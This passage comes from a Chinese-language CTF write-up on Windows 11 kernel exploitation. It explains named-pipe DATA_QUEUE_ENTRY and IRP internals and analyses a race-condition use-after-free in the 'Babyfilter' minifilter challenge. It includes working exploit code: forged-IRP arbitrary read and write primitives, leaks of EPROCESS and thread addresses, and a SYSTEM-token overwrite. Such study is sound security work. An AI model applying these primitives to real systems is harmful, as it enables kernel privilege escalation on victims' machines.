       +0x050 UserEvent        : Ptr64 _KEVENT
       +0x058 Overlay          : <unnamed-tag>
       +0x068 CancelRoutine    : Ptr64     void 
       +0x070 UserBuffer       : Ptr64 Void
       +0x078 Tail             : <unnamed-tag>
    

    这里需要注意几个关键成员变量:

    • AssociatedIrp:这个是IRP用于存放来自用户态的数据的关键变量之一。不同类型的IRP请求中,这个成员变量的含义会有所不同,它本质为一个Union为 cpp union { struct _IRP *MasterIrp; __volatile LONG IrpCount; PVOID SystemBuffer; } AssociatedIrp;

      在我们这次讨论的上下文中,这里取值为AssociatedIRP.SystemBuffer,后文我们也用SystemBuffer指代这个成员变量
      - ThreadListEntry:当前的IRP指向的Thread所在的一个链表,它指向发起该 I/O 请求的线程(ETHREAD)。。实际上,每一个IRP会和一个线程高度绑定。当一个线程结束的时候,对应的IRP也会结束。下文我们详细介绍。

    所以如果我们的PIPE中的数据足够小,能够一次性被读完的时候,IRP这个对象是不存在的。只有满足下面两个条件之一,Windows在会在DQE中存入一个IRP

    • 当前申请的DQE为非缓存对象(这代表这个Pipe对象不会被当即读完)
    • 当前写入的内存超过了一个Pipe能够存放的最大数据(也就是Pipe中还有其他需要被写入的数据)

    实际上,当我们利用的时候,这两个特性都会用到

    QuotaInEntry

    用于描述当前定额的内存中还有多少剩余。对于一个非缓存对象,这个值为0,对于缓存对象,这个值最初会和我们说到的DataSize一样大, 然后随着对Pipe的读取,逐渐减少为0

    DataSize

    存放了当前Pipe中能够存放的用户数据的最大长度。

    利用原语

    接下来,我们会介绍如何利用上述的PIPE构造平时利用时可能用到的原语。

    非分页池风水

    这些Pipe使用的都是非分页池,这些池在进行风水的时候,一般有两个思路:

    • 使用缓存内存。这种时候我们通常使用CreateNamedPipe+WriteFile的形式进行DQE的分配,不过这个时候分配的内存大小需要为target_size - sizeof(DATA_QUEUE_ENTRY)
    • 使用非缓存内存。这个时候我们通常直接使用NtFsControlFile进行风水

    不过一般来说,大家还是偏爱使用前面那种方式进行风水,因为使用起来相对简单。

    任意地址读

    当我们尝试使用PeekNamedPipe(注意不是ReadFile)去读取一个Pipe对象的时候,程序会尝试获取当前Pipe中的数据(但是并不是真正意义上从Pipe中将数据读取出来),这一步仅仅是获取了Pipe中的数据,所以可以理解成是一个只读的行为。

    在这个过程中,操作系统会根据DQE的属性EntryType,决定我们此时要读取的内存地址是来自于IRP,还是紧跟着DQE的缓存区。当我们的内存地址为非缓存对象的时候,操作系统获取数据会来自于IRP中存放的SystemBuffer(也就是AssociatedIRP)的地址

    DQE3.png

    所以这里有一个简单的做法就是:我们伪造一个假的FakeIRP,并且在这个FakeIRP中指向一个我们想要读取的内存地址target_addr,同时我们利用漏洞,将当前的DQE修改成EntryType=Unbuffered(1),那么此时,当我们调用PeekNamedPipe的时候,系统就会尝试从FakeIRP->SystemBuffer中读取数据,并且还给PeekNamedPipe读出的buffer中,从而造成一个任意地址读:

    DQE4.png

    之后,我们就能够尝试进行关键地址的泄露了。而这个FakeIRP,完全可以来自用户态:

    void ReadMem(HANDLE port, PIPE_HANDLES* pipes, uint64_t addr, size_t len, unsigned char* data) {
        static char* buf = (char*)malloc(TARGET_CHUNK_SIZE + 1);
        memset(buf, 0, TARGET_CHUNK_SIZE + 1);
        DWORD read;
        DATA_QUEUE_ENTRY dqe;
        ReadDataFromGMSG((unsigned char*)&dqe, sizeof(DATA_QUEUE_ENTRY));
        IRP fakeIRP = { 0 };
        fakeIRP.AssociatedIrp = (void*)addr;
        DATA_QUEUE_ENTRY fakeNP = dqe;
        fakeNP.Irp = (IRP*)&fakeIRP;
        fakeNP.EntryType = 1;
        fakeNP.SecurityContext = 0;
        fakeNP.QuotaInEntry = 0;
        fakeNP.DataSize = len;
    
        CallFilterComm(EDIT_BLOCK, sizeof(fakeNP), (unsigned char*)&fakeNP);
        DWORD dwLen = 0;
    
        // PrepareDataEntryForRead(dqe, (IRP*)(USER_DATA_ENTRY_ADDR + 0x1000), addr);
        PeekNamedPipe(pipes->Read, data, len, &dwLen, 0, 0);
        CallFilterComm(EDIT_BLOCK, sizeof(dqe), (unsigned char*)&dqe);
    }
    

    如上,我们只需要构造一个来自用户态的FakeIRP,然后将其传递给我们内核的一个DQE对象中,再通过漏洞的形式,将这个修改后的DQE篡改内核的DQE中,即可实现任意地址读。

    泄露关键 EPROCESS

    假设我们此时失去了NtQueryInformationSystem这个利器,那此时意味着我们需要寻找其他的API进行泄露。

    一个最简单拿的方法就是利用前文提到的IRP。正如我们前面介绍的,IRP本质上是和线程高度绑定的。每一个线程会记录当前线程中还有多少个未完成的IRP,同样的,每一个IRP都会拥有一个成员变量ThreadListEntry,记录当前IRP由哪些线程管理。这个结构体是一个“嵌入在 IRP 里的 LIST_ENTRY”

    0: kd> dt _IRP
    ntdll!_IRP
       +0x000 Type             : Int2B
       +0x002 Size             : Uint2B
       +0x004 AllocationProcessorNumber : Uint2B
       +0x006 Reserved1        : Uint2B
       +0x008 MdlAddress       : Ptr64 _MDL
       +0x010 Flags            : Uint4B
       +0x014 Reserved2        : Uint4B
       +0x018 AssociatedIrp    : <unnamed-tag>
       +0x020 ThreadListEntry  : _LIST_ENTRY
       +0x030 IoStatus         : _IO_STATUS_BLOCK
       +0x040 RequestorMode    : Char
       +0x041 PendingReturned  : UChar
       +0x042 StackCount       : Char
       +0x043 CurrentLocation  : Char
       +0x044 Cancel           : UChar
       +0x045 CancelIrql       : UChar
       +0x046 ApcEnvironment   : Char
       +0x047 AllocationFlags  : UChar
       +0x048 UserIosb         : Ptr64 _IO_STATUS_BLOCK
       +0x048 IoRingContext    : Ptr64 Void
       +0x050 UserEvent        : Ptr64 _KEVENT
       +0x058 Overlay          : <unnamed-tag>
       +0x068 CancelRoutine    : Ptr64     void 
       +0x070 UserBuffer       : Ptr64 Void
       +0x078 Tail             : <unnamed-tag>
    

    操作系统用来把 IRP 挂到发起它的线程(ETHREAD)上

    IRP->ThreadListEntry
    

    关系大概是

    EPROCESS
     └── ThreadListHead
          └── ETHREAD
               └── IrpList   <──────────────┐
                    ▲                       │
                    │                       │
               IRP.ThreadListEntry ─────────┘
    

    每一个线程的 ETHREAD 结构中都有一个链表头 IrpList,记录了该线程当前所有 Pending(挂起)的 IRP

    所以,只要我们能够拿到一个真实存在的IRP,我们就能利用这个IRP,将ETHREAD对象泄露出来,而ETHREAD对象中,又存放了KPROCESS的地址:

    0: kd> dt _KTHREAD Process
    ntdll!_KTHREAD
       +0x220 Process : Ptr64 _KPROCESS
    

    (在操作系统中,_E开头的结构体中通常包含了一个_K开头的结构体作为首个成员变量。例如_ETHREAD的第一个成员就是_KTHREAD Tcb

    利用上述的技巧,我们就能完成针对EPROCESS的完整泄露,这之后就能够泄露Token所在的地址。

    获取真正的IRP

    然而,再前面,我们只是伪造一个IRP,所以不存在这些数据。为了得到这个IRP,代码通常会这样做:

    程序会先使用多线程,异步的运行一个写入动作

    DWORD WINAPI CreateIRPThread(void* arg) {
    
        PIPE_HANDLES* victim_pipe = (PIPE_HANDLES*)arg;
        DWORD res;
        char buf[0x1000] = { 0 };
        memset(buf, 'Z', sizeof(buf));
        printf("prepare write buffer to create irp\n");
        WriteFile(victim_pipe->Write, buf, 0x1000, &res, NULL);
    
        Sleep(-1);
        return 0;
    }
    
    void main()
    {
    
        /// skip code
        CreateThread(NULL, 0, CreateIRPThread, &victim_pipes[dwIdx], 0, NULL);
        Sleep(2000);
    
        /// here we will try to leak IRP
    }
    

    这里我们通过Sleep(-1)永久的暂停了这个IRP的动作,从而防止线程关闭导致IRP的消失。在我们进行风水占坑,然后未进行任何操作之前,内存的布局大多数是这样的:

    DQE5.png

    在这个操作之后,我们的Pipe Queue中会被塞入一个拥有真正IRP的对象:

    DQE6.png

    获取到IRP之后,我们再使用之前创建的任意地址读原语,顺着我们之前的DQE.NextEntry.Flink双向链表搜索,找到这个存放了IRP的目标Block。

        DATA_QUEUE_ENTRY* nowChunk = (DATA_QUEUE_ENTRY*)LeakBuf;
        printf("Now leak address 0x%llx\n", nowChunk->Flink);
        DATA_QUEUE_ENTRY nextChunk = { 0 };
        ReadMem(g_hPort, &victim_pipes[dwIdx], nowChunk->Flink, sizeof(DATA_QUEUE_ENTRY), (unsigned char*)&nextChunk);
        printf("nextChunk.Flink 0x%llx\n", nextChunk.Flink);
        printf("nextChunk.Blink 0x%llx\n", nextChunk.Blink);
        printf("now leak nextChunk.Irp is %p\n", nextChunk.Irp);
    

    任意地址写

    与任意地址读相比,写就要稍微复杂一点。因为写不能像读那样,伪造一个DQE,让系统以为我们的申请缓存对象为非缓冲对象,从而利用IRP实现任意地址写。

    我们实现写入操作的时候,利用的是从Pipe中读取数据的ReadFile,这个动作最终会做一个类似这样的动作

    memcpy(IRP->UserBuffer, IRP->Associated.SystemBuffer, len);
    

    我们可以利用这一点来实现任意地址写。

    然而,这个动作和之前的PeekNamedPipe不同,这涉及到Pipe中数据变化,不是在npfs中进行检查,导致这个过程中存在非常多对IRP的check,所以我们就不能像之前那样简易的随意塞入参数,从而伪造一个FakeIRP,而是必须要通过创建一个拥有真正IRP的无缓冲对象,同时拷贝真正的IRP,通过修改它来实现这个操作。

    伪造IRP

    在我们任意地址读的实现过程中,我们获取了真正的IRP,于是在这里我们可以借助之前的IRP完成数据拷贝和伪造。在这个伪造过程中,我们需要尽可能地保留其中的源数据,所以一般会直接将数据传递过去,例如

    unsigned char IrpBuffer[0x100] = { 0 };
    IRP* nextIrp = (IRP*)IrpBuffer;
    ReadMem(g_hPort, &victim_pipes[dwIdx], (unsigned long long)nextChunk.Irp, sizeof(IrpBuffer), (unsigned char*)&IrpBuffer);
    WriteMem(g_hPort, &victim_pipes[dwIdx], 
        IrpBuffer, sizeof(IrpBuffer),
        _KPROCESS_SYSTEM + c_offsets[g_setoff][EPROCESS_TOKEN], //SYSTEM_TOKEN,
        _KPROCESS_CURRENT + c_offsets[g_setoff][EPROCESS_TOKEN], 
        sizeof(SYSTEM_TOKEN));
    

    这一次的伪造,我们需要考虑以下因素:

    (1)由于当我们完成任意地址写的时候,IRP会被释放,所以我们需要一个真正的内核地址存放这个伪造的IRP,为了完成这个目的,这里可以使用无缓存内存空间。因为这个对象会创建一个存放用户可控数据的,内核池数据(正如前面介绍的那样,无缓存对象的可控数据放在一个单独的池内)所以我们这里可以通过这个API来存放伪造的IRP

    void PrepareWriteIRP(IRP* irp, PVOID thread_list, PVOID source_address, PVOID destination_address) {
        irp->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
        // irp->Flags = 0x60850;
        irp->AssociatedIrp = source_address;
        irp->UserBuffer = destination_address;
        irp->ThreadListEntry.Flink = (LIST_ENTRY*)(thread_list);
        irp->ThreadListEntry.Blink = (LIST_ENTRY*)(thread_list);
    }
    
    uint64_t thread_list[2];
    PrepareWriteIRP((IRP*)fakeIrp, (void*)thread_list, (PVOID)src_addr, (PVOID)dst_addr);
    
    NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
    NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, fakeIrp, 0x1000, 0, 0);
    

    这里的fakeIRP就是我们存放的一个被伪造的IRP。

    (2)此时的IRP会有很严格的Check,包括对ThreadListEntry的检查,所以我们这里同样需要一个真正的ThreadListEntry对象。关于这个对象,我们可以直接使用在无缓冲对象中存放的IRP->ThreadEntryList,这个链表正好是真实的,这里假定我们将这个内存对象拷贝到了我们伪造的IRP,于是我们只需要保证ThreadListEntry.Flink->Blink==ThreadListEntry.Blink->Flink==&FakeIRP->ThreadListEntry,这样正好把自己从链表中摘了出去。

    注意坑点
    (3)上述结构体的最后Tail实际上是一个联合体,里面有很多在调用过程中会用到的参数,并且在IRP后还紧跟着IO_STACK_LOCATION相关数组。实际上,一般来说,sizeof(IRP)的大小正好就是0xb8,在笔者调试的时候发现,在IRP+0xB8的位置正好存放了一个IO_LOCATION_STACK对象,但是Windows结构体中没有给出说明。这段汇编为

        /*
        * CONTEXT:  fffff40373c44b60 -- (.cxr 0xfffff40373c44b60)
        rax=0000000000000003 rbx=0000000000000000 rcx=ffffe106e7843000
        rdx=0000000000000002 rsi=ffffe106e7843000 rdi=0000000000000001
        rip=fffff801c77217bb rsp=fffff40373c45590 rbp=fffff40373c45690
         r8=0000000000000002  r9=0000000000000001 r10=fffff801c7721700
        r11=0000000000000000 r12=0000000000000002 r13=0000006c6defdc80
        r14=0000000000000000 r15=ffffe106e1aeddb0
        iopl=0         nv up ei pl zr na po nc
        cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
        nt!IopfCompleteRequest+0x7b:
        fffff801`c77217bb 803b16          cmp     byte ptr [rbx],16h ds:002b:00000000`00000000=??
        Resetting default scope
    
        PROCESS_NAME:  BabyfilterPoC.exe
    
        fffff801`c772179f 488b99b8000000  mov     rbx,qword ptr [rcx+0B8h]
        rcx = IRP
    
        that's mean rcx=0xb8 is very important
        0: kd> dps 0xffffbb8b91445bb0+0xb8
            ffffbb8b`91445c68  ffffbb8b`91445cc8
            ffffbb8b`91445c70  ffffbb8b`9257eb50
        */
    

    所以,在实际进行IRP伪造的时候,建议直接多拷贝一些内容,例如

    unsigned char IrpBuffer[0x100] = { 0 };
    IRP* nextIrp = (IRP*)IrpBuffer;
    ReadMem(g_hPort, &victim_pipes[dwIdx], (unsigned long long)nextChunk.Irp, sizeof(IrpBuffer), (unsigned char*)&IrpBuffer);
    

    保证之后伪造的时候,也能够得到完整的数据。

    伪造DQE

    当我们准备好一个IRP之后,我们还需要一个能够将我们修改后的IRP写入。显然在拥有任意地址写之前,我们只能有一个可被我们控制的DQE对象(也就是我们漏洞所在的那个DQE)。于是我们可与按照任意地址读的方式,修改这个DQE也为无缓存对象,不过这一次我们写入的是一个被我们精心伪造过的,存在内核态的一个IRP,从而保证后续漏洞利用的触发:

    DQE7.png

    具体写什么?

    这里具体来说,我们仍然可以用非常经典的修改TOKEN的策略,也就是通过任意地址读,找到SYSTEEM进程的TOKEN地址,并且将其写入当前EPROCESS的TOKEN位置,即可完成漏洞攻击。

    实战:Babyfilter

    这个题给了一个简单的Minifilter,可以让不熟悉MiniFilter的同学了解这类驱动。同时也给出了在Windows 11下,条件竞争漏洞的利用技巧,考察点比较新颖

    题目分析

    题目说明如下:

    qemu + win11 26200.7462
    
    get SYSTEM and read c:\flag.txt
    
    nc 202.120.7.13 58390
    
    pnputil /add-driver babyfilter.inf /install
    
    sc start babyfilter
    
    fltmc attach babyfilter c:
    

    通过后三条,我们可以知道目标程序为MiniFilter,并且知道了安装方式。于是我们可以先装一个新版的Windows11,并且将对应的安装办法整理成脚本,作为测试环境。

    MiniFilter

    这个驱动又可以叫做文件系统过滤驱动(File System Filter Driver),这类驱动的特点是,它会挂载在IO管理器下,能够以更加轻便的方式对IO请求进行拦截和修改

    这类驱动在与用户态通信的时候,通常使用的是

    NTSTATUS FLTAPI FltCreateCommunicationPort(
      PFLT_FILTER            Filter,
      PFLT_PORT              *ServerPort,
      POBJECT_ATTRIBUTES     ObjectAttributes,
      PVOID                  ServerPortCookie,
      PFLT_CONNECT_NOTIFY    ConnectNotifyCallback,
      PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
      PFLT_MESSAGE_NOTIFY    MessageNotifyCallback,
      LONG                   MaxConnections
    );
    

    这个API创建的端口。这个端口的属性通常会放在ObjectAttributes这个属性里面,包括用户态可以与之通信的端口名字。例如:

        UNICODE_STRING portName = RTL_CONSTANT_STRING(L"\\MyFilterPort");
        PSECURITY_DESCRIPTOR sd;
        FltBuildDefaultSecurityDescriptor(&sd, FLT_PORT_ALL_ACCESS); // 设置权限
    
        OBJECT_ATTRIBUTES oa;
        InitializeObjectAttributes(&oa, &portName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, sd);
    
        FltCreateCommunicationPort(
            gFilterHandle,
            &gServerPort,
            &oa,
            NULL,
            MyConnectNotify,    // 连接回调
            MyDisconnectNotify, // 断开回调
            MyMessageNotify,    // 收到消息回调
            1                   // 最大并发连接数
        );
    

    这里的回调函数也很关键。当我们尝试与Minifilter进行连接建立、断开以及消息发送的时候,就会分别触发这几个回调函数。其中如果需要触发收到消息的回调,需要用户态使用

    HRESULT FilterSendMessage(
      [in]           HANDLE  hPort,
      [in, optional] LPVOID  lpInBuffer,
      [in]           DWORD   dwInBufferSize,
      [out]          LPVOID  lpOutBuffer,
      [in]           DWORD   dwOutBufferSize,
      [out]          LPDWORD lpBytesReturned
    );
    

    来触发对应的回调函数。

    同时,第一个参数gFilterHandle表示的是当前MiniFilter总共注册了哪些回调。这个注册过程为

    CONST FLT_REGISTRATION reg = {
    
        sizeof( FLT_REGISTRATION ),         //  Size
        FLT_REGISTRATION_VERSION,           //  Version
        0,                                  //  Flags
    
        NULL,                               //  Context
        NULL,                               //  Operation callbacks
    
        NullUnload,                         //  FilterUnload
    
        NULL,                               //  InstanceSetup
        NullQueryTeardown,                  //  InstanceQueryTeardown
        NULL,                               //  InstanceTeardownStart
        NULL,                               //  InstanceTeardownComplete
    
        NULL,                               //  GenerateFileName
        NULL,                               //  GenerateDestinationFileName
        NULL                                //  NormalizeNameComponent
    
    };
    
    FltRegisterFilter(DriverObject, &reg, &gFilterHandle);
    

    我们通过填写一个FLT_REGISTRATION的结构体,完成对应回调实体的属性设置。这个属性具体如下:

    typedef struct _FLT_REGISTRATION {
      USHORT                                      Size;
      USHORT                                      Version;
      FLT_REGISTRATION_FLAGS                      Flags;
      const FLT_CONTEXT_REGISTRATION              *ContextRegistration;
      const FLT_OPERATION_REGISTRATION            *OperationRegistration;
      PFLT_FILTER_UNLOAD_CALLBACK                 FilterUnloadCallback;
      PFLT_INSTANCE_SETUP_CALLBACK                InstanceSetupCallback;
      PFLT_INSTANCE_QUERY_TEARDOWN_CALLBACK       InstanceQueryTeardownCallback;
      PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownStartCallback;
      PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownCompleteCallback;
      PFLT_GENERATE_FILE_NAME                     GenerateFileNameCallback;
      PFLT_NORMALIZE_NAME_COMPONENT               NormalizeNameComponentCallback;
      PFLT_NORMALIZE_CONTEXT_CLEANUP              NormalizeContextCleanupCallback;
      PFLT_TRANSACTION_NOTIFICATION_CALLBACK      TransactionNotificationCallback;
      PFLT_NORMALIZE_NAME_COMPONENT_EX            NormalizeNameComponentExCallback;
      PFLT_SECTION_CONFLICT_NOTIFICATION_CALLBACK SectionNotificationCallback;
    } FLT_REGISTRATION, *PFLT_REGISTRATION;
    

    其中我们需要关注的是OprationRegistration这个成员。这里会记录当前MiniFilter针对哪些IRP进行观测。例如这个来自微软官方的例子:

    FLT_OPERATION_REGISTRATION Callbacks[] = {
    
        { IRP_MJ_CREATE,
            FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO,
            SimRepPreCreate,
            NULL },
    
        { IRP_MJ_NETWORK_QUERY_OPEN,
            FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO,
            SimRepPreNetworkQueryOpen,
            NULL },
    
        { IRP_MJ_OPERATION_END }
    };
    
    FLT_REGISTRATION FilterRegistration = {
    
        sizeof( FLT_REGISTRATION ),                     //  Size
        FLT_REGISTRATION_VERSION,                       //  Version
        0,                                              //  Flags
        NULL,                                           //  Context
        Callbacks,                                      //  Operation callbacks
        SimRepUnload,                                   //  Filters unload routine
        SimRepInstanceSetup,                            //  InstanceSetup routine
        SimRepInstanceQueryTeardown,                    //  InstanceQueryTeardown routine
        NULL,                                           //  InstanceTeardownStart routine
        NULL,                                           //  InstanceTeardownComplete routine
        NULL,                                           //  Filename generation support callback
        NULL,                                           //  Filename normalization support callback
        NULL,                                           //  Normalize name component cleanup callback
    #if SIMREP_VISTA
        NULL,                                           //  Transaction notification callback
        NULL                                            //  Filename normalization support callback
    
    #endif // SIMREP_VISTA
    };
    

    这里的Callbacks总共注册了两个操作

    • IRP_MJ_CREATE: 这里就是打开文件会触发的回调
    • IRP_MJ_NETWORK_QUERY_OPEN: 通过FastIO触发的一种特殊回调

    通过给数组最后一个参数留空来表示当前回调数组的长度。

    通过上述结构体,就能描述出当前Minifilter具体对哪些操作进行了回调注册

    样例代码

    PFLT_FILTER gFilterHandle = NULL;
    PFLT_PORT gServerPort = NULL;    // 服务端监听端口
    PFLT_PORT gClientPort = NULL;    // 已连接的客户端端口
    
    // 当用户态调用 FilterConnectCommunicationPort 时触发
    NTSTATUS MyConnectNotify(PFLT_PORT ClientPort, PVOID ServerPortCookie, PVOID ConnectionContext, ULONG SizeOfContext, PVOID *ConnectionPortCookie) {
        gClientPort = ClientPort;
        DbgPrint("Client connected!\n");
        return STATUS_SUCCESS;
    }
    
    // 当用户态调用 CloseHandle 时触发
    void MyDisconnectNotify(PVOID ConnectionCookie) {
        FltCloseClientPort(gFilterHandle, &gClientPort);
        DbgPrint("Client disconnected!\n");
    }
    
    // 当用户态调用 FilterSendMessage 发送数据时触发
    NTSTATUS MyMessageNotify(PVOID PortCookie, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnOutputBufferLength) {
        DbgPrint("Received message from user-mode!\n");
        return STATUS_SUCCESS;
    }
    
    NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
        // 1. 注册 Minifilter
        FLT_REGISTRATION reg = { sizeof(FLT_REGISTRATION), FLT_REGISTRATION_VERSION, 0 };
        // 此处通常需要设置 Context 和 Operation 回调,为简洁起见省略
        FltRegisterFilter(DriverObject, &reg, &gFilterHandle);
    
        // 2. 创建通信端口
        UNICODE_STRING portName = RTL_CONSTANT_STRING(L"\\MyFilterPort");
        PSECURITY_DESCRIPTOR sd;
        FltBuildDefaultSecurityDescriptor(&sd, FLT_PORT_ALL_ACCESS); // 设置权限
    
        OBJECT_ATTRIBUTES oa;
        InitializeObjectAttributes(&oa, &portName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, sd);
    
        // 建立端口,绑定通知函数
        FltCreateCommunicationPort(
            gFilterHandle,
            &gServerPort,       // 输出服务端句柄
            &oa,
            NULL,               // Cookie
            MyConnectNotify,    // 连接回调
            MyDisconnectNotify, // 断开回调
            MyMessageNotify,    // 收到消息回调
            1                   // 最大并发连接数
        );
    
        FltFreeSecurityDescriptor(sd);
        return FltStartFiltering(gFilterHandle);
    }
    

    之后我们分析这个MiniFilter。有了MiniFilter的基础知识,我们这里主要关注两个位置,一个是注册函数到底注册了什么回调,一个是MessageCallback中可能有什么。首先看到主要注册逻辑:

    NTSTATUS __fastcall sub_140007000(PDRIVER_OBJECT Driver)
    {
      NTSTATUS result; // eax
      NTSTATUS started; // ebx
      struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-40h] BYREF
      _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+50h] [rbp-30h] BYREF
      void *v6; // [rsp+A0h] [rbp+20h] BYREF
    
      if ( (dword_140004108 & 1) != 0 )
        DbgPrint("PassThrough!DriverEntry: Entered\n");
      result = FltRegisterFilter(Driver, &Registration, &Filter);
      _mm_lfence();
      if ( result >= 0 )
      {
        *(&ObjectAttributes.Length + 1) = 0;
        *(&ObjectAttributes.Attributes + 1) = 0;
        DestinationString = 0;
        v6 = 0;
        sub_14000132C(&v6);
        RtlInitUnicodeString(&DestinationString, L"\\BabyFilterPort");
        ObjectAttributes.ObjectName = &DestinationString;
        ObjectAttributes.SecurityDescriptor = v6;
        ObjectAttributes.Length = 48;
        ObjectAttributes.RootDirectory = 0;
        ObjectAttributes.Attributes = 576;
        ObjectAttributes.SecurityQualityOfService = 0;
        FltCreateCommunicationPort(
          Filter,
          &ServerPort,
          &ObjectAttributes,
          0,
          (PFLT_CONNECT_NOTIFY)ConnectNotifyCallback,
          (PFLT_DISCONNECT_NOTIFY)DisconnectNotifyCallback,
          (PFLT_MESSAGE_NOTIFY)MessageNotifyCallback,
          64);
        started = FltStartFiltering(Filter);
        if ( started < 0 )
          FltUnregisterFilter(Filter);
        return started;
      }
      return result;
    }
    

    根据上述代码,可以知道程序注册了一个\\BabyFilterPort端口。并且我们使用FltSendMessage与之通信的时候,能够触发MessageNotifyCallback的逻辑。并且程序注册了一些过滤回调在Registration

    MessageNotifyCallback

    这个函数为主要的漏洞函数,其代码如下:

    __int64 __fastcall MessageNotifyCallback(
            PVOID PortCookie,
            char *InputBuffer,
            ULONG InputBufferLength,
            PVOID OutputBuffer)
    {
    
      buffer_len = InputBufferLength;
      if ( !InputBuffer || InputBufferLength < 8 )
        return 3221225473LL;
      sub_140002100((char *)&input_header_flag_1, 0, 0x1008u);
      if ( buffer_len > 0x1008 )
        buffer_len = 0x1008;
      a__memcpy((char *)&input_header_flag_1, InputBuffer, buffer_len);
      size = input_header_size;
      v7 = buffer_len - 8;
      if ( input_header_size > v7 )
        size = v7;
      if ( input_header_flag_1 )
      {
        if ( input_header_flag_1 == 1 )
        {
          Buffer = gCTX.Buffer;
          size_1 = gCTX.Size;
          Flag = gCTX.Flag;
          if ( gCTX.Buffer )
          {
            if ( size > gCTX.Size )
              size = gCTX.Size;
            a__memcpy((char *)gCTX.Buffer, newBuffer, size);
            gCTX.Size = size_1;
            gCTX.Flag = Flag;
            gCTX.Buffer = Buffer;
          }
        }
        else if ( input_header_flag_1 == 2 )
        {
          if ( gCTX.Buffer )
          {
            ExFreePoolWithTag(gCTX.Buffer, 0);
            gCTX.Buffer = 0;
            gCTX.Size = 0;
          }
        }
      }
      else if ( size )
      {
        _mm_lfence();
        Pool2 = (void *)ExAllocatePool2(67, size, 'ybaB');
        gCTX.Buffer = Pool2;
        gCTX.Size = size;
        if ( Pool2 )
          a__memcpy((char *)Pool2, newBuffer, size);
      }
      return 0;
    }
    

    可以看到,程序使用一个叫做gCTX的对象在内核中管理一个申请出来的内存,这个结构体大致如下:

    struct GLOBAL_CTX
    {
      UINT32 Size;
      UINT32 Flag;
      PVOID Buffer;
    };
    

    而我们传入的数据也会作为一个结构体处理,其结构为:

    #define NEW_BLOCK 0
    #define EDIT_BLOCK 1
    #define FREE_BLOCK 2
    
    typedef struct _gMSG {
        unsigned int opcode;   // v13
        unsigned int size;     // v14
        char     data[0x1000];
    } gMSG;
    

    根据分析,我们可以知道,opcode的值会决定我们当前处于申请,修改还是释放三种不同的状态。

    于是这里我们可以写出这样的用户态代码,作为访问的接口

    int CallFilterComm(unsigned int opcode, unsigned int size, unsigned char* buffer) {
    
        HRESULT hr;
        // printf("[+] Connected to BabyFilterPort\n");
    
        gMSG inbuf;
    
        inbuf.opcode = opcode;
        inbuf.size = size;
        memcpy(inbuf.data, buffer, size);
    
        BYTE outbuf[0x1000] = { 0 };
        DWORD bytesReturned = 0;
    
        // 3. MessageNotifyCallback
        hr = FilterSendMessage(
            g_hPort,
            &inbuf,
            sizeof(inbuf),
            outbuf,
            sizeof(outbuf),
            &bytesReturned
        );
    
        if (FAILED(hr)) {
            printf("[!] FilterSendMessage failed: 0x%08X\n", hr);
        }
        else {
            // printf("[+] FilterSendMessage success, bytesReturned = %lu\n", bytesReturned);
        }
    
        return 0;
    }
    

    漏洞点

    很显然,这个全局对象就是一个突破点。当函数FltCreateCommunicationPort注册一个Minifilter的时候,它最后一个参数的含义为最大并发数 MaxConnections。意思也就是说,对于这个驱动而言,一次性最多能有几个客户端连入。在这个题目中,FltCreateCommunicationPort的MaxConnections=64,这就意味着,一次性最多可以有64个线程同时修改这个对象。于是我们这个程序就存在了条件竞争的可能。

    我们关注这一部分代码:

    if ( opcode == 1 ) // EDIT BLOCK
    {
        Buffer = gCTX.Buffer;
        size_1 = gCTX.Size;
        Flag = gCTX.Flag;
        if ( gCTX.Buffer )
        {
        if ( size > gCTX.Size )
            size = gCTX.Size;
        a__memcpy((char *)gCTX.Buffer, newBuffer, size);
        gCTX.Size = size_1;
        gCTX.Flag = Flag;
        gCTX.Buffer = Buffer;
        }
    }
    else if ( opcode == 2 ) // FREE BLOCK
    {
        if ( gCTX.Buffer )
        {
        ExFreePoolWithTag(gCTX.Buffer, 0);
        gCTX.Buffer = 0;
        gCTX.Size = 0;
        }
    }
    

    假设这里有两个线程,1和2。当我们线程1进入EDIT BLOCK的逻辑,并且来到了这部分

        Buffer = gCTX.Buffer;
        size_1 = gCTX.Size;
        Flag = gCTX.Flag;
        if ( gCTX.Buffer )
        {
        if ( size > gCTX.Size )
            size = gCTX.Size;
            a__memcpy((char *)gCTX.Buffer, newBuffer, size);// 线程1在这里
            gCTX.Size = size_1;
            gCTX.Flag = Flag; 
            gCTX.Buffer = Buffer;
        }
    

    此时线程2进入Free的逻辑,尝试进行Buffer的释放

        if ( gCTX.Buffer )
        {
            ExFreePoolWithTag(gCTX.Buffer, 0);
            gCTX.Buffer = 0;
            gCTX.Size = 0; 
        }// 线程2在这里
    

    那么,当线程1重新开始运行的时候,它就会将一个【本来被线程2 释放后的内存,重新复制给gCTX.Buffer】,这就形成了一个完美的UAF。在这之后,EDIT操作就能够直接操作一个被释放的池空间。

    过滤器处理逻辑

    通过分析IDA中对应注册函数的逻辑:

    .rdata:0000000140003220 ; const FLT_REGISTRATION Registration
    .rdata:0000000140003220 Registration    dw 70h                  ; Size
    .rdata:0000000140003220                                         ; DATA XREF: DriverEntry_enter+33↓o
    .rdata:0000000140003222                 dw 203h                 ; Version
    .rdata:0000000140003224                 dd 0                    ; Flags
    .rdata:0000000140003228                 dq 0                    ; ContextRegistration
    .rdata:0000000140003230                 dq offset stru_1400031C0; OperationRegistration    // 注意这里 
    .rdata:0000000140003238                 dq offset sub_140006070 ; FilterUnloadCallback
